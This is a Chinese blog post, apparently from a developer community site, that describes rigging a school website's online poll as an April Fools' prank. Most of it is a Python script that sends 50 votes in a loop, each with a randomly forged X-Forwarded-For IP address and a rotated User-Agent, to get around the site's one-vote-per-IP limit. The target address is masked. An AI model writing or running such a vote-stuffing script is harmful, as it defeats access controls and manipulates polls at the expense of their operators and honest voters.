愚人节搞怪——突破IP限制刷票

愚人节到了,我也恶搞一下。最近看到某学校某网站发起了一个不公平的投票,于是我就趁此愚人节到来之际恶搞了一下。

目标投票系统不是判断Cookie,而是限制IP的,每个IP24小时内只能投一次,于是我就参考http://wiki.woodpecker.org.cn/moin/MiscItems/2008-12-25,写了个刷票的脚本。

主要是伪装post请求头的X-Forwarded-For字段,为了方便就用python写了。

import httplib
import urllib
import urllib2
import random
import time

u_agents = ['Mozilla/4.0 (compatible; MSIE 4.01; Windows CE;Smartphone; 240x320; Dopod586W)','Mozilla/4.0 (compatible; MSIE 5.0; Series90/1.1 Nokia7710/c4.58.0 Profile/MIDP-2.0 Configuration/CLDC-1.0)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;Maxthon; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1.9)Gecko/20071025 Firefox/2.0.0.9',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; zh-cn)Opera 8.54','Mozilla/5.0 (compatible; Konqueror/3.0-rc3; i686 Linux;20021113)','Opera/9.24 (Windows NT 5.2; U; zh-cn)','Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia N70/5.0635.2.5.3; 9404) Opera 8.65 [zh-CN]']

for i in range(0, 50):
	u_agent  = random.choice(u_agents)
	myipaddr = '%s.%s.%s.%s' % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1, 254))

	url = 'http://xxx.xxx.xxx/yyy.jsp?zzz=aaa'
	values = {'radio_bb':'ccc'}
	data = urllib.urlencode(values)

	httplib.HTTPConnection.debuglevel = 1
	request = urllib2.Request(url,data)
	request.add_header("Accept", "text/html, application/xhtml+xml, */*")
	request.add_header("Referer", "http://localhost/xxx.html")
	request.add_header("Accept-Language", "zh-cn")
	request.add_header("User-Agent", u_agent)
	request.add_header("Accept-Encoding", "gzip, deflate")
	request.add_header("Host", "xxx.xxx.xxx")
	request.add_header("Connection", "Keep-Alive")
	request.add_header("X-Forwarded-For",myipaddr)

	response = urllib2.urlopen(request)
	#the_page = response.read()
	#print the_page
	time.sleep(0.3)


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值